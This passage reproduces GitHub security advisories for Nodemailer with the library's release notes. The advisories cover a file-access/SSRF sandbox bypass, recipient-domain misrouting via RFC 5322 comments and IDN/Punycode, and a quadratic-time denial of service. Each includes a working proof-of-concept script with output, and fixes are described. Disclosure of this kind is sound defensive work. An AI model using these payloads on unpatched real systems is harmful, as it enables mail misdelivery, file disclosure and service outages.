});

const data = {
    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',
    html: { path: TARGET_FILE },
    attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true

// Documented legacy plugin signature — options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('FILE_READ_OK len=', value.length);          // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('URL_FETCH_OK body=', body.toString());      // -> fetched response
});
```

Observed output on the audit environment (Node 22, `nodemailer@9.1.0`):

```text
mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n    \"name\": \"nodemailer\",\n    \"version\": \"9.1.0\",\n    \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"
```

The negative controls (`resolveAll`, and `resolveContent` with explicit
`{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox
works on the protected paths and only the legacy-signature passthrough
is bypassed. The same bypass reproduces inside a real
`transporter.sendMail()` flow when a `compile` plugin calls
`mail.resolveContent(mail.data, 'html', cb)` /
`mail.resolveContent(mail.data.attachments, 0, cb)`.

##### Impact

An application that enables `disableFileAccess` / `disableUrlAccess` to
contain untrusted message content and that resolves content through the
documented plugin API (`mail.resolveContent(data, key, callback)`) has
its sandbox silently bypassed:

- Arbitrary local file disclosure: a message `html`/attachment `path`
pointing at a server file (`/etc/passwd`, `.env`, key material) is read
and returned to the caller / delivered in the message.
- Server-side request forgery: a message `href` pointing at an internal
or loopback URL is fetched from the application host.

Reachability precondition: the sandbox flags must be enabled (default
off) and the application or its plugin must invoke the documented
legacy-signature API on attacker-influenced data. The default
`transporter.sendMail()` path remains protected, so this is a
defense-in-depth gap in the library's own access-control enforcement
rather than a default-flow bypass. It is the same vulnerability class as
the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and
GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj)
-
[https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b](https://redirect.github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b)
-
[https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474](https://redirect.github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v9.1.1)
-
[https://github.com/advisories/GHSA-8m3c-c648-2xjj](https://redirect.github.com/advisories/GHSA-8m3c-c648-2xjj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-8m3c-c648-2xjj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Nodemailer: Recipient-domain validation bypass via RFC 5322 comment
mis-parsing leads to email delivery to an attacker-controlled domain

[GHSA-cc9r-2j5m-2m83](https://redirect.github.com/advisories/GHSA-cc9r-2j5m-2m83)

<details>
<summary>More information</summary>

#### Details
##### Summary

Nodemailer's email-address parser treats an **RFC 5322 comment** `( ...
)` inside the domain as a point to **concatenate** the surrounding text,
rather than as folding whitespace (CFWS) that **terminates** the domain.
Consequently a recipient address such as `user@good-corp.com(x)evil.com`
is parsed and **delivered to `good-corp.comevil.com`** (registrable
domain `comevil.com`, attacker‑controlled), while a conformant RFC 5322
parser terminates the domain at the comment and reads `good-corp.com`.

An application that decides *whether it is allowed to email a recipient*
by parsing/validating the recipient's domain — with a strict RFC 5322
parser (used without inspecting parse defects) or with a naive
prefix/substring allow‑list — and then hands the raw address to
Nodemailer for delivery, can be induced to send mail to a domain the
attacker controls. This is an **Interpretation Conflict (CWE‑436)**, the
same class as CVE‑2025‑13033, reached through the RFC 5322 *comment*
construct (the "Comments" technique in PortSwigger's *Splitting the
email atom* research, which produced a Postfix fix).

Severity is **Moderate**: exploitation requires the app's domain check
to disagree with Nodemailer (see **Impact** for exactly which parsers do
and do not). Verified end‑to‑end against a real RFC 5321 SMTP server
(nodemailer 9.0.6 → `aiosmtpd`).

##### Details

Root cause is in `lib/addressparser/index.js`.

1. The tokenizer registers the comment as an operator pair
(`Tokenizer.operators`):
   ```js
   '(': ')',            // line ~331
   ```
2. When the **closing** `)` is immediately followed by a non‑break
character (anything other than space / tab / CR / LF / `,` / `;`), the
tokenizer marks that operator token with `noBreak = true`:
   ```js
   // Tokenizer.checkChar, lines ~398-399
if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) {
       this.node.noBreak = true;
   }
   ```
3. `_handleAddress` then **glues** the token that follows the comment
onto the token that preceded it (dropping the comment):
   ```js
   // _handleAddress, lines ~187-188
   if (prevToken && prevToken.noBreak && data[state].length) {
data[state][data[state].length - 1] += token.value; // <-- concatenation
   }
   ```

For the input `user@good-corp.com(x)evil.com` the tokens are
`text:"user@good-corp.com"`, `op:"("`, `text:"x"`, `op:")"` (flagged
`noBreak`), `text:"evil.com"`. Step 3 appends `evil.com` onto
`user@good-corp.com`, producing the single domain
**`good-corp.comevil.com`**. The comment content (`x`) is discarded into
the display‑name field.

RFC 5322 defines a comment as CFWS — semantically folding whitespace —
and it may **not** appear inside a `dot-atom`. A comment therefore
*separates* tokens and terminates the domain; the conformant reading of
`good-corp.com(x)evil.com` is the domain `good-corp.com` (with the
trailing `evil.com` being invalid/ignored). Nodemailer instead
concatenates the two atoms across the removed comment, yielding a
different, attacker‑registrable domain.

Nodemailer uses the parsed address for **both** the SMTP envelope
(`getEnvelope()` → `RCPT TO`) and the emitted `To:`/`From:` headers, so
the entire message is routed to the concatenated domain.

**Related grammar defect (bonus, lower impact):** nested comments are
legal in RFC 5322, but the tokenizer closes the comment at the *first*
`)` (`chr === this.operatorExpecting`, line ~392), so a valid nested
comment such as `user@x.com(a(b)c)` is mis‑balanced and mangled to
`x.comc)`. That particular output contains a stray `)` and is
**rejected** by a conformant MTA (501) — a bounce/robustness issue, not
a misroute.

**Suggested fix:** treat a comment as folding whitespace that terminates
the current token — i.e. do **not** propagate `noBreak` across a
comment‑closing `)` (restrict the `noBreak` optimization to
quoted‑string closes), and support nested comments per RFC 5322.
Equivalently, never emit a domain formed by concatenating two atoms that
were separated only by a comment.

##### PoC

Environment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No
special transport configuration is required; the discrepancy is in
address parsing.

`poc-comment.js`:
```js
'use strict';
const net = require('net');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'good-corp.com';
const RECIPIENT = 'user@good-corp.com(x)evil.com'; // RFC 5322 comment (x) between two domains

// tiny SMTP sink that prints the literal RCPT TO nodemailer transmits
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: 'app@good-corp.com', to: RECIPIENT, subject: 'hi', text: 'x' });
  t.close(); server.close();
});
```

Run:
```
npm init -y && npm install nodemailer@9.0.6
node poc-comment.js
```

Actual output (nodemailer 9.0.6):
```
nodemailer transmits : RCPT TO:<user@good-corp.comevil.com>
```

The application asked to mail `user@good-corp.com(x)evil.com`;
Nodemailer delivers to `good-corp.comevil.com` — registrable domain
`comevil.com`, which an attacker can register.

**Verified against a real RFC 5321 server** (containerized lab included
with this report — `docker compose up --build`, case `R8_comment_glue`,
receiver = `aiosmtpd`):
```
wire RCPT TO                     : RCPT TO:<user@good-corp.comevil.com>
real server                      : ACCEPTED (250)
recipient parsed by real server  : user@good-corp.comevil.com   (domain good-corp.comevil.com)
delivered To header              : x <user@good-corp.comevil.com>
```

**Which parser sees what** (the crux of exploitability):

| Parser used by the application to gate/route | Domain it reads from
`user@good-corp.com(x)evil.com` | Deceived? |
|---|---|---|
| Python `email.policy.default` (strict RFC 5322) | `good-corp.com`
*(flags `InvalidHeaderDefect`)* | Yes, if defects are not checked |
| Naive prefix / substring allow‑list
(`startsWith`/`includes('@good-corp.com')`) | `good-corp.com` | Yes |
| Nodemailer's own `addressparser` | `good-corp.comevil.com` | No |
| Python `email.utils.getaddresses` | `good-corp.comevil.com` | No |
| WHATWG `url.domainToASCII` | `good-corp.com(x)evil.com` | No |

##### Impact

* **Who is impacted:** applications that make a security or routing
decision on the recipient **domain** using a parser that terminates the
domain at the comment, while relying on Nodemailer for delivery —
specifically those that validate with a strict RFC 5322 parser **without
inspecting parse defects**, or with a **prefix/substring/allow‑list**
check (e.g. "only send to `@good-corp.com`", employee‑only flows,
"same‑tenant" routing). Applications that validate with Nodemailer's own
`addressparser`, `email.utils.getaddresses`, or `url.domainToASCII` are
**not** affected, which is why this is rated below the IDN/Punycode
issue.

##### Patched in 9.1.0

Fixed in
[902b63e](https://redirect.github.com/nodemailer/nodemailer/commit/902b63e).

Not propagating `noBreak` across the closing `)` on its own breaks valid
addresses, because CFWS is legal on either side of the `@`:
`user@(x)good-corp.com` and `user(x)@good-corp.com` both come out
mangled. A comment now joins what it separates only when one side
carries the `@`, so those keep resolving while
`user@good-corp.com(x)evil.com` terminates at `good-corp.com`.

Quoted-string and angle-address joining are unchanged. Nested comments
are still not modelled, but the misroute is gone: `user@x.com(a(b)c)`
now yields `user@x.com`.

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-cc9r-2j5m-2m83](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-cc9r-2j5m-2m83)
-
[https://github.com/nodemailer/nodemailer/pull/1848](https://redirect.github.com/nodemailer/nodemailer/pull/1848)
-
[https://github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880](https://redirect.github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v9.1.0)
-
[https://github.com/advisories/GHSA-cc9r-2j5m-2m83](https://redirect.github.com/advisories/GHSA-cc9r-2j5m-2m83)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-cc9r-2j5m-2m83)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Nodemailer: Quadratic (O(n²)) time complexity in addressparser
allows remote denial of service via a crafted address list

[GHSA-2x7j-588g-ccc2](https://redirect.github.com/advisories/GHSA-2x7j-588g-ccc2)

<details>
<summary>More information</summary>

#### Details
##### Summary

Nodemailer's address parser (`lib/addressparser/index.js`) parses a list
of comma‑separated addresses in **quadratic time — O(n²)** in the number
of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`,
`From`, or `Reply‑To` value, or any value passed to the exported
`addressparser`) therefore consumes CPU proportional to the **square**
of its length and blocks Node's single‑threaded event loop for the
entire duration, denying service to every other request in the process.

This requires **no special application configuration and no cooperating
receiver** — it is entirely inside the parser and triggers on the
library's default code path. A ~1.5 MB address value freezes the process
for ~25–30 seconds of 100% CPU; the cost grows with the square of the
input, so a few‑MB value stalls the server for minutes. It is a distinct
issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is
guarded by a nesting‑depth cap; this one is a flat, comma‑separated list
with no such limit).

##### Details

`addressparser` tokenizes the input, splits it into per‑address token
groups, and then accumulates the parsed results in a loop
(`lib/addressparser/index.js`, ~lines 500–505):

```js
addresses.forEach(addr => {
    const handled = _handleAddress(addr, depth);
    if (handled.length) {
        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503
    }
});
```

`Array.prototype.concat` builds and returns a **new** array containing a
copy of every element accumulated so far. Reassigning `parsedAddresses =
parsedAddresses.concat(handled)` on each of the *n* iterations copies 1
+ 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²)
transient allocations) for an input containing *n* addresses.
Tokenization and `_handleAddress` themselves are linear; the quadratic
blowup is entirely this accumulator.

**Root‑cause proof.** Replacing only that line with an in‑place append
and re‑running the exact same input:

```
parsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)
```

**Measured scaling** (nodemailer 9.0.6, `'a@b.com,'.repeat(n)`):

| addresses n | input size | parse time | ratio for 2× input |
|---|---|---|---|
| 25,000  | 0.19 MB | ~0.35 s | – |
| 50,000  | 0.38 MB | ~1.4 s  | ×4.0 |
| 100,000 | 0.76 MB | ~6–8 s  | ×3.9 |
| 200,000 | 1.53 MB | ~25–30 s| ×4.1 |

Doubling the input quadruples the time — the signature of O(n²).

**Reachability.** The parser is invoked on any structured‑address header
value on the normal send path
(`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` →
`_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single
`transport.sendMail({ to: <crafted string> })` triggers it. It is also
reached directly through the **exported**
`require('nodemailer/lib/addressparser')`, which many applications call
to validate or display user‑supplied recipient lists. Confirmed via the
public API: `setHeader('To', 'a@b.com,'.repeat(80000))` +
`getEnvelope()` blocks for ~3.9 s.

**Suggested fix:** accumulate in place instead of rebuilding the array
each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses,
handled);` (or `for (const h of handled) parsedAddresses.push(h);`).
Optionally cap the number of addresses / input length before parsing.

##### PoC

Environment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No
transport, network, or configuration required — the cost is in parsing.

`poc-dos.js`:
```js
'use strict';
const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients
  const t0 = process.hrtime.bigint();
  addressparser(payload);                       // blocks synchronously
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');
}
```

Run:
```
npm init -y && npm install nodemailer@9.0.6
node poc-dos.js
```

Actual output (nodemailer 9.0.6):
```
addresses | input size | parse time
    25000 | 0.19 MB   |     381 ms
    50000 | 0.38 MB   |    1435 ms
   100000 | 0.76 MB   |    7949 ms
   200000 | 1.53 MB   |   25154 ms
```

Equivalent trigger through the normal send API (freezes the event loop):
```js
const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent
```

##### Impact

* **Who is impacted:** any service that runs Nodemailer (or the
standalone `nodemailer/lib/addressparser`) on an address value that can
be influenced by an untrusted party — a recipient field in a "send email
/ invite / share" feature, a `Reply‑To`/`From` derived from user input,
a contact‑import or mailing‑list parser, or any endpoint that validates
addresses with `addressparser`. No authentication, special option, or
particular receiver is needed.

##### Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

* `addressparser` rebuilt its accumulator with `concat()` on every
address
([9116da9](https://redirect.github.com/nodemailer/nodemailer/commit/9116da9)).
* The display-name merge loop directly below spliced each fragment out
of the array, the same shape reached through `'a, b
<c@d.com>,'.repeat(n)` (same commit).
* `MimeNode#_convertAddresses` checked recipient uniqueness with a
linear scan per address
([7cc38af](https://redirect.github.com/nodemailer/nodemailer/commit/7cc38af),
refined in
[34da642](https://redirect.github.com/nodemailer/nodemailer/commit/34da642)).
This was the most severe of the three and the reported proof of concept
did not reach it: `'a@b.com,'.repeat(n)` is one address repeated, which
dedupes to a single envelope entry. A list of *distinct* recipients cost
O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.

Fixed alongside: `[].concat.apply` in `_parseAddresses` threw
`RangeError: Maximum call stack size exceeded` past roughly 124k
recipients, with no crafted input needed
([83b8c48](https://redirect.github.com/nodemailer/nodemailer/commit/83b8c48)).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path
scales linearly. A new `maxRecipients` option (default 100000) throws
rather than truncating, as a backstop.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2)
-
[https://github.com/nodemailer/nodemailer/pull/1848](https://redirect.github.com/nodemailer/nodemailer/pull/1848)
-
[https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150](https://redirect.github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150)
-
[https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e](https://redirect.github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e)
-
[https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434](https://redirect.github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v9.1.0)
-
[https://github.com/advisories/GHSA-2x7j-588g-ccc2](https://redirect.github.com/advisories/GHSA-2x7j-588g-ccc2)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-2x7j-588g-ccc2)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Nodemailer: IDN/Punycode domain allow-list bypass leads to email
delivery to an attacker-controlled domain

[GHSA-wmmp-3585-3rmp](https://redirect.github.com/advisories/GHSA-wmmp-3585-3rmp)

<details>
<summary>More information</summary>

#### Details
##### Summary

Nodemailer resolves an international (IDN / non-ASCII) recipient
**domain** to a different Punycode `xn--` label than every
UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's
`url.domainToASCII`, Python's `idna`). Its address normalizer
(`_normalizeAddress` in `lib/mime-node/index.js`) uses the bundled **raw
RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization**, so a
domain that a standards‑compliant validator maps to a trusted domain is
delivered by Nodemailer to a **different, attacker‑registrable domain**.

An application that applies a domain allow‑list / same‑domain check to a
recipient using a normal IDN‑aware parser (or that shows the normalized
recipient to a user for confirmation) and then relies on Nodemailer to
deliver to that domain can be induced to send email to an **unintended
external domain**. This is the same weakness class as CVE‑2025‑13033
(Interpretation Conflict, CWE‑436) but reached through IDN/Punycode
rather than quoted local‑parts, and it is not addressed by the 7.0.7
fix.

Because the mismatch can be triggered with an **invisible** character
(U+00AD SOFT HYPHEN) that UTS‑46 folds away to the *exact* trusted
domain string, no visible look‑alike/homograph is required.

##### Details

`lib/mime-node/index.js` → `_normalizeAddress(address)` (around lines
1307–1346) splits the address at the last `@` and normalizes the domain
like this:

```js
// lib/mime-node/index.js
try {
    if (/[\x80-ï¿¿]/.test(user)) {
        encodedDomain = punycode.toUnicode(domain.toLowerCase());   // line ~1338
    } else {
        encodedDomain = punycode.toASCII(domain.toLowerCase());     // line ~1340
    }
} catch (_err) {
    // keep domain as supplied
}
return `${this._normalizeLocalPart(user)}@${encodedDomain}`;         // line ~1346
```

`punycode` here is the project’s bundled codec (`lib/punycode/`), which
is a **pure RFC 3492 (Punycode) implementation**. The only normalization
applied to the domain is `.toLowerCase()`. It performs **none of the
UTS‑46 “IDNA2008 + compatibility processing” steps** that browsers and
DNS‑facing resolvers apply before Punycode encoding, specifically:

* removing **Ignored** code points such as `U+00AD` SOFT HYPHEN,
* **Mapping** full‑width / compatibility characters to their canonical
ASCII forms,
* Unicode **NFC** normalization,
* validity checks.

As a result, for any domain containing a UTS‑46‑mapped or ‑ignored
character, Nodemailer’s `punycode.toASCII(...)` produces a **different
A‑label** than `url.domainToASCII(...)` (Node ≥ 7 / WHATWG), `new
URL('http://'+domain)`, browsers, and Python’s `idna` (`uts46=True`).
Nodemailer then uses its A‑label as:

* the SMTP envelope recipient written to the wire as `RCPT
TO:<local@xn--…>` (`getEnvelope()` → `lib/smtp-connection/index.js`
`_setEnvelope`), **and**
* the address emitted in the `To:` / `From:` headers
(`_convertAddresses`).

So the domain a standards‑compliant validator computes and the domain
Nodemailer actually delivers to **disagree**, on a syntactically valid,
validator‑accepted address. Concrete divergences (verified on 9.0.6):

| recipient (raw) | UTS‑46 parser (`url.domainToASCII`) | Nodemailer
delivers to |
|---|---|---|
| `victim@compa{U+00AD}ny.com` (invisible soft hyphen) | `company.com` |
`xn--company-pka.com` |
| `victim@company.com` (full‑width) | `company.com` |
`xn--mi7cd4afch9d.com` |
| `user@exámple.com` (NFD `a`+U+0301) | `xn--exmple-qta.com` |
`xn--example-vge.com` |

This is the “Punycode / IDN parser discrepancy” technique documented in
PortSwigger’s *Splitting the email atom* research (which produced e.g.
Joomla CVE‑2024‑21725 and fixes in the PHP `idna_convert` library). The
fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the
*quoted‑local‑part* path only; this IDN path is independent and still
present in **9.0.6 (latest)** and, given the long‑standing use of the
bundled RFC‑3492 codec, earlier releases.

**Suggested remediation:** perform UTS‑46 processing before/at domain
encoding so Nodemailer’s resolution matches browsers, validators, and
DNS — e.g. use the runtime’s `url.domainToASCII()` (available since Node
7) instead of the raw `punycode.toASCII`, and decode with the matching
UTS‑46 `domainToUnicode`. At minimum, reject a domain whose value
changes under UTS‑46 mapping (i.e. `punycode.toASCII(d)` ≠
`url.domainToASCII(d)`).

##### PoC

Environment: Node.js ≥ 18, the published `nodemailer@9.0.6`. No special
configuration; the discrepancy is in domain normalization itself.

`poc-idn.js`:

```js
'use strict';
const net = require('net');
const url = require('url');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'company.com';                        // the only domain the app will mail
const RECIPIENT = 'victim@compa\u00ADny.com';           // attacker input: invisible U+00AD inside "company"

// The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way:
const seen = url.domainToASCII(RECIPIENT.split('@').pop());
console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen),
            seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : '');

// A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits:
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits             :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: 'app@company.com', to: RECIPIENT, subject: 'reset your password', text: 'secret link' });
  t.close(); server.close();
});
```

Run:

```
npm init -y && npm install nodemailer@9.0.6
node poc-idn.js
```

Actual output (Nodemailer 9.0.6):

```
validator (url.domainToASCII) sees: "company.com" => ALLOWED (equals trusted domain)
nodemailer transmits             : RCPT TO:<victim@xn--company-pka.com>
```

The application’s domain check approves `company.com`, but the message
is sent to `xn--company-pka.com` — a **different domain an attacker can
register** — carrying the `To:` header `<victim@xn--company-pka.com>` as
well.

A containerized version that proves the same result against a **real RFC
5321 SMTP server** (`aiosmtpd`) is included alongside this report
(`docker compose up --build`, cases `R6`/IDN); the receiving server
accepts `RCPT TO:<victim@xn--company-pka.com>` and reports the recipient
domain as `xn--company-pka.com`.

##### Impact

Any application that uses Nodemailer to send mail to a recipient whose
domain is subjected to a security or trust decision made with a
*different* (UTS‑46‑conformant) parser, and then trusts Nodemailer to
deliver to that domain. This includes:
* recipient **allow‑list / block‑list / “same corporate domain” checks**
implemented with `new URL()`, `url.domainToASCII`, a browser‑side check,
or an IDN library;
* flows that **display or log the normalized recipient domain** for
human confirmation (the shown `company.com` differs from the delivered
`xn--company-pka.com`);
* any domain‑gated feature (employee‑only registration, “send only to
our tenant”, notification routing).

##### Patched in 9.1.0

Domain encoding now applies UTS-46
([259c32d](https://redirect.github.com/nodemailer/nodemailer/commit/259c32d)),
so `victim@compa­ny.com` resolves to `company.com`, matching
`url.domainToASCII` and browsers.

One caveat on the suggested remediation, hardened in
[b212ac4](https://redirect.github.com/nodemailer/nodemailer/commit/b212ac4):
`url.domainToASCII` is a WHATWG **host parser**, not a pure UTS-46
mapper. It terminates the host at `/`, `\\`, `?` and `#` and
percent-decodes. Used unguarded it introduces a worse version of the
same weakness, since `user@attacker.example/mail.corp.example` encodes
to the deliverable `user@attacker.example` where the bundled Punycode
codec left it intact and unroutable. Those characters are now kept away
from the mapper.

On severity, "attacker-registrable" is doing significant work in the
report: `xn--company-pka.com` decodes to a label containing U+00AD and
`xn--mi7cd4afch9d.com` to full-width Latin, neither of which Verisign's
IDN tables permit for a .com registration. The misdelivery and the
confirmation-UI mismatch stand regardless, which is why this is rated
level with the comment issue rather than above it.

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp)
-
[https://github.com/nodemailer/nodemailer/pull/1848](https://redirect.github.com/nodemailer/nodemailer/pull/1848)
-
[https://github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148](https://redirect.github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148)
-
[https://github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e](https://redirect.github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v9.1.0)
-
[https://github.com/advisories/GHSA-wmmp-3585-3rmp](https://redirect.github.com/advisories/GHSA-wmmp-3585-3rmp)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-wmmp-3585-3rmp)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

###
[`v9.1.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#911-2026-09-01)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.1.0...v9.1.1)

##### Bug Fixes

- **mailer:** apply the message access policy in resolveContent
([dc48ed3](https://redirect.github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474))
- **mailer:** keep message data from reopening the access sandbox
([ab7ef34](https://redirect.github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b))
- **mime-node:** inherit the access policy from the tree a node hangs in
([262d550](https://redirect.github.com/nodemailer/nodemailer/commit/262d550b1e121e3ff4ef6675d6771a5b2b4ddcec))

###
[`v9.1.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#910-2026-08-31)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.0.6...v9.1.0)

##### Features

- **mailer:** cap recipients per message with maxRecipients
([7279ac8](https://redirect.github.com/nodemailer/nodemailer/commit/7279ac8dee4f66c032981e6e51e3e7210ad0dcbf))

##### Bug Fixes

- **addressparser:** handle address lists in linear time
([9116da9](https://redirect.github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434))
- **addressparser:** terminate the domain at an RFC 5322 comment
([902b63e](https://redirect.github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880))
